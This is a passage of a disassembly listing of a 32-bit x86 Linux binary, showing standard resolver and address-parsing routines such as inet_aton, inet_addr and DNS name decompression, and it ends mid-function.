		mov	ds:dword_8079DB8, ebx
		mov	ds:dword_8079DBC, offset dword_8079E88
		mov	edi, offset dword_8079E88
		jmp	short loc_804CB64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CB48:				; CODE XREF: _getnishost+198j
		cmp	byte ptr [ebx],	0
		jz	short loc_804CB7E
		cmp	byte ptr [ebx],	20h
		jz	short loc_804CB7B
		cmp	byte ptr [ebx],	9
		jz	short loc_804CB7B
		cmp	edi, offset unk_8079F10
		jnb	short loc_804CB64
		mov	[edi], ebx
		add	edi, 4

loc_804CB64:				; CODE XREF: _getnishost+160j
					; _getnishost+179j
		push	offset asc_806791B ; " \t"
		push	ebx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804CB7E
		mov	byte ptr [ebx],	0

loc_804CB7B:				; CODE XREF: _getnishost+16Cj
					; _getnishost+171j
		inc	ebx
		jnz	short loc_804CB48

loc_804CB7E:				; CODE XREF: _getnishost+167j
					; _getnishost+192j
		mov	dword ptr [edi], 0
		mov	eax, offset dword_8079DB8

loc_804CB89:				; CODE XREF: _getnishost+CFj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
_getnishost	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804CB94	proc near		; CODE XREF: gethostbyaddr+294p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	0
		call	sub_804C538
		add	esp, 4
		lea	esi, [esi]

loc_804CBAC:				; CODE XREF: sub_804CB94+26j
					; sub_804CB94+3Dj
		call	sub_804C5A4
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_804CBD3
		cmp	[ebx+8], esi
		jnz	short loc_804CBAC
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+10h]
		mov	eax, [eax]
		push	eax
		call	sub_8056450
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804CBAC

loc_804CBD3:				; CODE XREF: sub_804CB94+21j
		call	sub_804C574
		mov	eax, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804CB94	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804CBE4	proc near		; CODE XREF: getanswer+65Fp

var_6C		= byte ptr -6Ch
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_46		= byte ptr -46h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_50], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4C], edx
		mov	[ebp+var_5C], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jge	loc_804CD5C
		test	edi, 1
		jz	short loc_804CC80
		xor	ecx, ecx
		mov	al, byte_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	[ebp+var_50], eax
		jge	short loc_804CC56
		mov	esi, [edx]
		mov	ebx, eax
		mov	[ebp+var_60], 0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804CC38:				; CODE XREF: sub_804CBE4+70j
		mov	eax, [esi]
		mov	edx, [ebp+var_60]
		and	eax, dword ptr unk_80786B0[edx]
		cmp	dword ptr unk_80786AC[edx], eax
		jz	short loc_804CC56
		add	edx, 8
		mov	[ebp+var_60], edx
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_804CC38

loc_804CC56:				; CODE XREF: sub_804CBE4+44j
					; sub_804CBE4+65j
		mov	edi, [ebp+var_5C]
		mov	[ebp+edi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_804CC74
		test	edi, edi
		jle	short loc_804CC74
		movsx	eax, word ptr [ebp+edi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_804CC74
		mov	[ebp+var_50], edi

loc_804CC74:				; CODE XREF: sub_804CBE4+7Ej
					; sub_804CBE4+82j ...
		inc	[ebp+var_5C]
		add	[ebp+var_4C], 4
		jmp	loc_804CD50
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CC80:				; CODE XREF: sub_804CBE4+2Fj
					; sub_804CBE4+172j
		xor	ecx, ecx
		mov	al, byte_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	ecx, eax
		jge	short loc_804CCC2
		mov	edi, [ebp+var_4C]
		mov	esi, [edi]
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi]

loc_804CCA4:				; CODE XREF: sub_804CBE4+DCj
		mov	eax, [esi]
		mov	edx, [ebp+var_60]
		and	eax, dword ptr unk_80786B0[edx]
		cmp	dword ptr unk_80786AC[edx], eax
		jz	short loc_804CCC2
		add	edx, 8
		mov	[ebp+var_60], edx
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_804CCA4

loc_804CCC2:				; CODE XREF: sub_804CBE4+AEj
					; sub_804CBE4+D1j
		mov	edi, [ebp+var_5C]
		mov	[ebp+edi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_804CCE0
		test	edi, edi
		jle	short loc_804CCE0
		movsx	eax, word ptr [ebp+edi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_804CCE0
		mov	[ebp+var_50], edi

loc_804CCE0:				; CODE XREF: sub_804CBE4+EAj
					; sub_804CBE4+EEj ...
		mov	esi, [ebp+var_5C]
		inc	esi
		xor	ecx, ecx
		mov	al, byte_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	ecx, eax
		jge	short loc_804CD2D
		mov	edx, [ebp+var_4C]
		mov	edx, [edx+4]
		mov	[ebp+var_58], edx
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi]

loc_804CD0C:				; CODE XREF: sub_804CBE4+147j
		mov	edi, [ebp+var_58]
		mov	eax, [edi]
		mov	edi, [ebp+var_60]
		and	eax, dword ptr unk_80786B0[edi]
		cmp	dword ptr unk_80786AC[edi], eax
		jz	short loc_804CD2D
		add	edi, 8
		mov	[ebp+var_60], edi
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_804CD0C

loc_804CD2D:				; CODE XREF: sub_804CBE4+112j
					; sub_804CBE4+13Cj
		mov	[ebp+esi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_804CD48
		test	esi, esi
		jle	short loc_804CD48
		movsx	eax, word ptr [ebp+esi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_804CD48
		mov	[ebp+var_50], esi

loc_804CD48:				; CODE XREF: sub_804CBE4+152j
					; sub_804CBE4+156j ...
		add	[ebp+var_5C], 2
		add	[ebp+var_4C], 8

loc_804CD50:				; CODE XREF: sub_804CBE4+97j
		mov	edx, [ebp+arg_4]
		cmp	[ebp+var_5C], edx
		jl	loc_804CC80

loc_804CD5C:				; CODE XREF: sub_804CBE4+23j
		cmp	[ebp+var_50], 0
		jz	loc_804CE7F
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jge	loc_804CE7F
		lea	edx, [ebp+var_46]
		mov	[ebp+var_54], edx
		mov	eax, edi
		sub	eax, [ebp+var_50]
		test	al, 1
		jz	short loc_804CDD8
		mov	ecx, [ebp+var_50]
		dec	ecx
		js	short loc_804CDC7
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		lea	ebx, [edx+ecx*2]

loc_804CD90:				; CODE XREF: sub_804CBE4+1E1j
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_804CDC7
		movsx	edx, ax
		mov	[ebp+var_5C], edx
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	di, word ptr [ebp+var_5C]
		mov	[ebx], di
		mov	edx, [esi]
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+ecx*4+4]
		mov	[esi], eax
		mov	[edi+ecx*4+4], edx
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_804CD90

loc_804CDC7:				; CODE XREF: sub_804CBE4+1A1j
					; sub_804CBE4+1B4j
		inc	[ebp+var_50]
		mov	edx, [ebp+arg_4]
		cmp	[ebp+var_50], edx
		jge	loc_804CE7F
		lea	esi, [esi]

loc_804CDD8:				; CODE XREF: sub_804CBE4+19Bj
					; sub_804CBE4+295j
		mov	ecx, [ebp+var_50]
		dec	ecx
		js	short loc_804CE23
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		mov	edx, [ebp+var_54]
		lea	ebx, [edx+ecx*2]
		lea	esi, [esi]

loc_804CDEC:				; CODE XREF: sub_804CBE4+23Dj
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_804CE23
		movsx	edi, ax
		mov	[ebp+var_5C], edi
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	dx, word ptr [ebp+var_5C]
		mov	[ebx], dx
		mov	edi, [esi]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		mov	[esi], eax
		mov	[edx+ecx*4+4], edi
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_804CDEC

loc_804CE23:				; CODE XREF: sub_804CBE4+1F8j
					; sub_804CBE4+210j
		mov	ecx, [ebp+var_50]
		test	ecx, ecx
		jl	short loc_804CE6F
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		mov	edx, [ebp+var_54]
		lea	ebx, [edx+ecx*2]
		lea	esi, [esi]

loc_804CE38:				; CODE XREF: sub_804CBE4+289j
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_804CE6F
		movsx	edi, ax
		mov	[ebp+var_5C], edi
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	dx, word ptr [ebp+var_5C]
		mov	[ebx], dx
		mov	edi, [esi]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		mov	[esi], eax
		mov	[edx+ecx*4+4], edi
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_804CE38

loc_804CE6F:				; CODE XREF: sub_804CBE4+244j
					; sub_804CBE4+25Cj
		add	[ebp+var_50], 2
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jl	loc_804CDD8

loc_804CE7F:				; CODE XREF: sub_804CBE4+17Cj
					; sub_804CBE4+188j ...
		lea	esp, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804CBE4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

inet_addr	proc near		; CODE XREF: sub_8049564+1B1p
					; sub_80499F4+BFp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		push	edx
		call	inet_aton
		test	eax, eax
		jnz	short loc_804CEAC
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CEAC:				; CODE XREF: inet_addr+15j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
inet_addr	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

inet_aton	proc near		; CODE XREF: inet_addr+Ep
					; res_init+415p ...

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_18], ecx
		lea	esi, [esi]

loc_804CEC8:				; CODE XREF: inet_aton+CBj
		xor	esi, esi
		mov	[ebp+var_14], 0Ah
		cmp	byte ptr [ebx],	30h
		jnz	short loc_804CEF3
		inc	ebx
		cmp	byte ptr [ebx],	78h
		jz	short loc_804CEE1
		cmp	byte ptr [ebx],	58h
		jnz	short loc_804CEEC

loc_804CEE1:				; CODE XREF: inet_aton+26j
		mov	[ebp+var_14], 10h
		inc	ebx
		jmp	short loc_804CEF3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CEEC:				; CODE XREF: inet_aton+2Bj
		mov	[ebp+var_14], 8

loc_804CEF3:				; CODE XREF: inet_aton+20j
					; inet_aton+35j
		mov	al, [ebx]
		test	al, al
		jz	short loc_804CF5A
		mov	edi, dword_8078FA0
		nop

loc_804CF00:				; CODE XREF: inet_aton+A4j
		test	al, al
		jl	short loc_804CF1C
		movzx	edx, al
		test	byte ptr [edi+edx*2+1],	8
		jz	short loc_804CF1C
		mov	eax, [ebp+var_14]
		imul	eax, esi
		lea	esi, [edx+eax-30h]
		jmp	short loc_804CF53
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CF1C:				; CODE XREF: inet_aton+4Ej
					; inet_aton+58j
		cmp	[ebp+var_14], 10h
		jnz	short loc_804CF5A
		test	al, al
		jl	short loc_804CF5A
		and	eax, 0FFh
		test	byte ptr [edi+eax*2+1],	10h
		jz	short loc_804CF5A
		lea	ecx, [eax+0Ah]
		mov	[ebp+var_1C], ecx
		mov	edx, esi
		shl	edx, 4
		test	byte ptr [edi+eax*2+1],	2
		jz	short loc_804CF4C
		lea	esi, [ecx+edx-61h]
		jmp	short loc_804CF53
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CF4C:				; CODE XREF: inet_aton+8Ej
		mov	ecx, [ebp+var_1C]
		lea	esi, [ecx+edx-41h]

loc_804CF53:				; CODE XREF: inet_aton+64j
					; inet_aton+94j
		inc	ebx
		mov	al, [ebx]
		test	al, al
		jnz	short loc_804CF00

loc_804CF5A:				; CODE XREF: inet_aton+43j
					; inet_aton+6Cj ...
		cmp	byte ptr [ebx],	2Eh
		jnz	short loc_804CF84
		lea	eax, [ebp+var_4]
		cmp	[ebp+var_18], eax
		jnb	loc_804CFEC
		cmp	esi, 0FFh
		ja	short loc_804CFEC
		mov	ecx, [ebp+var_18]
		mov	[ecx], esi
		add	ecx, 4
		mov	[ebp+var_18], ecx
		inc	ebx
		jmp	loc_804CEC8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CF84:				; CODE XREF: inet_aton+A9j
		cmp	byte ptr [ebx],	0
		jz	short loc_804CF9A
		jl	short loc_804CFEC
		movzx	edx, byte ptr [ebx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804CFEC

loc_804CF9A:				; CODE XREF: inet_aton+D3j
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, eax
		mov	eax, ecx
		sar	eax, 2
		inc	eax
		cmp	eax, 2
		jz	short loc_804CFBC
		jle	short loc_804D008
		cmp	eax, 3
		jz	short loc_804CFCC
		cmp	eax, 4
		jz	short loc_804CFE4
		jmp	short loc_804D008
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CFBC:				; CODE XREF: inet_aton+F7j
		cmp	esi, 0FFFFFFh
		ja	short loc_804CFEC
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		jmp	short loc_804D006
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CFCC:				; CODE XREF: inet_aton+FEj
		cmp	esi, 0FFFFh
		ja	short loc_804CFEC
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		mov	edx, [ebp+var_C]
		shl	edx, 10h
		jmp	short loc_804D004
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CFE4:				; CODE XREF: inet_aton+103j
		cmp	esi, 0FFh
		jbe	short loc_804CFF0

loc_804CFEC:				; CODE XREF: inet_aton+B1j
					; inet_aton+BDj ...
		xor	eax, eax
		jmp	short loc_804D021
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CFF0:				; CODE XREF: inet_aton+136j
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		mov	edx, [ebp+var_C]
		shl	edx, 10h
		or	eax, edx
		mov	edx, [ebp+var_8]
		shl	edx, 8

loc_804D004:				; CODE XREF: inet_aton+12Cj
		or	eax, edx

loc_804D006:				; CODE XREF: inet_aton+116j
		or	esi, eax

loc_804D008:				; CODE XREF: inet_aton+F9j
					; inet_aton+105j
		cmp	[ebp+arg_4], 0
		jz	short loc_804D01C
		mov	eax, esi
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_804D01C:				; CODE XREF: inet_aton+158j
		mov	eax, 1

loc_804D021:				; CODE XREF: inet_aton+13Aj
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
inet_aton	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D02C	proc near		; CODE XREF: getanswer+9Ap
					; getanswer+18Ap ...

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_C]
		mov	edi, ecx
		add	edi, [ebp+arg_10]
		mov	[ebp+var_C], edi
		mov	edi, [ebp+arg_8]
		movzx	esi, byte ptr [edi]
		mov	ebx, edi
		jmp	loc_804D257
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D05C:				; CODE XREF: sub_804D02C+22Ej
		mov	eax, esi
		and	eax, 0C0h
		jz	short loc_804D078
		cmp	eax, 0C0h
		jz	loc_804D210
		jmp	loc_804D24A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D078:				; CODE XREF: sub_804D02C+37j
		cmp	[ebp+arg_C], ecx
		jz	short loc_804D08A
		cmp	[ebp+var_C], ecx
		jbe	loc_804D24A
		mov	byte ptr [ecx],	2Eh
		inc	ecx

loc_804D08A:				; CODE XREF: sub_804D02C+4Fj
		lea	eax, [esi+ecx]
		cmp	[ebp+var_C], eax
		jbe	loc_804D24A
		mov	edi, [ebp+var_8]
		lea	edi, [esi+edi+1]
		mov	[ebp+var_8], edi
		dec	esi
		js	loc_804D254
		mov	eax, esi
		not	eax
		and	eax, 3
		cmp	esi, 0FFFFFFFFh
		jle	short loc_804D121
		test	eax, eax
		jz	loc_804D155
		cmp	eax, 3
		jge	short loc_804D121
		cmp	eax, 2
		jge	short loc_804D0F3
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D0D3
		cmp	edx, 5Ch
		jnz	short loc_804D0E4

loc_804D0D3:				; CODE XREF: sub_804D02C+A0j
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D0E4:				; CODE XREF: sub_804D02C+A5j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_804D24A
		dec	esi

loc_804D0F3:				; CODE XREF: sub_804D02C+97j
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D101
		cmp	edx, 5Ch
		jnz	short loc_804D112

loc_804D101:				; CODE XREF: sub_804D02C+CEj
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D112:				; CODE XREF: sub_804D02C+D3j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_804D24A
		dec	esi

loc_804D121:				; CODE XREF: sub_804D02C+85j
					; sub_804D02C+92j
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D12F
		cmp	edx, 5Ch
		jnz	short loc_804D140

loc_804D12F:				; CODE XREF: sub_804D02C+FCj
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D140:				; CODE XREF: sub_804D02C+101j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_804D24A
		dec	esi
		js	loc_804D254

loc_804D155:				; CODE XREF: sub_804D02C+89j
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804D158:				; CODE XREF: sub_804D02C+1DCj
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D166
		cmp	edx, 5Ch
		jnz	short loc_804D177

loc_804D166:				; CODE XREF: sub_804D02C+133j
		lea	eax, [esi+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D177:				; CODE XREF: sub_804D02C+138j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_804D24A
		lea	eax, [esi-1]
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D196
		cmp	edx, 5Ch
		jnz	short loc_804D1A7

loc_804D196:				; CODE XREF: sub_804D02C+163j
		lea	eax, [eax+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D1A7:				; CODE XREF: sub_804D02C+168j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	loc_804D24A
		lea	eax, [esi-2]
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D1C6
		cmp	edx, 5Ch
		jnz	short loc_804D1D3

loc_804D1C6:				; CODE XREF: sub_804D02C+193j
		lea	eax, [eax+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	short loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D1D3:				; CODE XREF: sub_804D02C+198j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_804D24A
		lea	eax, [esi-3]
		movzx	edx, byte ptr [ebx]
		inc	ebx
		cmp	edx, 2Eh
		jz	short loc_804D1EE
		cmp	edx, 5Ch
		jnz	short loc_804D1FB

loc_804D1EE:				; CODE XREF: sub_804D02C+1BBj
		lea	eax, [eax+ecx+2]
		cmp	[ebp+var_C], eax
		jbe	short loc_804D24A
		mov	byte ptr [ecx],	5Ch
		inc	ecx

loc_804D1FB:				; CODE XREF: sub_804D02C+1C0j
		mov	al, dl
		mov	[ecx], al
		inc	ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_804D24A
		add	esi, 0FFFFFFFCh
		jns	loc_804D158
		jmp	short loc_804D254
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D210:				; CODE XREF: sub_804D02C+3Ej
		cmp	[ebp+var_4], 0
		jge	short loc_804D21F
		mov	edi, ebx
		sub	edi, [ebp+arg_8]
		inc	edi
		mov	[ebp+var_4], edi

loc_804D21F:				; CODE XREF: sub_804D02C+1E8j
		mov	eax, esi
		and	eax, 3Fh
		shl	eax, 8
		movzx	edx, byte ptr [ebx]
		or	eax, edx
		mov	ebx, [ebp+arg_0]
		add	ebx, eax
		cmp	[ebp+arg_0], ebx
		ja	short loc_804D24A
		cmp	[ebp+arg_4], ebx
		jbe	short loc_804D24A
		add	[ebp+var_8], 2
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+arg_0]
		cmp	[ebp+var_8], eax
		jl	short loc_804D254

loc_804D24A:				; CODE XREF: sub_804D02C+44j
					; sub_804D02C+54j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804D296
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D254:				; CODE XREF: sub_804D02C+75j
					; sub_804D02C+123j ...
		movzx	esi, byte ptr [ebx]

loc_804D257:				; CODE XREF: sub_804D02C+2Aj
		inc	ebx
		test	esi, esi
		jnz	loc_804D05C
		mov	byte ptr [ecx],	0
		mov	ecx, [ebp+arg_C]
		movzx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_804D287
		mov	eax, dword_8078FA0
		lea	esi, [esi]

loc_804D274:				; CODE XREF: sub_804D02C+259j
		test	dl, dl
		jl	short loc_804D27F
		test	byte ptr [eax+edx*2+1],	20h
		jnz	short loc_804D24A

loc_804D27F:				; CODE XREF: sub_804D02C+24Aj
		inc	ecx
		movzx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_804D274

loc_804D287:				; CODE XREF: sub_804D02C+23Fj
		cmp	[ebp+var_4], 0
		jge	short loc_804D293
		sub	ebx, [ebp+arg_8]
		mov	[ebp+var_4], ebx

loc_804D293:				; CODE XREF: sub_804D02C+25Fj
		mov	eax, [ebp+var_4]

loc_804D296:				; CODE XREF: sub_804D02C+223j
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804D02C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804D2A0	proc near		; CODE XREF: sub_80608C8+F9p
					; sub_80608C8+15Ap

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		add	edx, [ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_C], 0
		jz	short loc_804D304
		mov	edx, [ebp+arg_C]
		mov	edx, [edx]
		mov	[ebp+var_10], edx
		add	[ebp+arg_C], 4
		test	edx, edx
		jz	short loc_804D30B
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		cmp	dword ptr [edx], 0
		jz	short loc_804D2F4
		lea	esi, [esi]

loc_804D2E8:				; CODE XREF: sub_804D2A0+52j
		add	[ebp+var_4], 4
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jnz	short loc_804D2E8

loc_804D2F4:				; CODE XREF: sub_804D2A0+44j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		jmp	short loc_804D30B
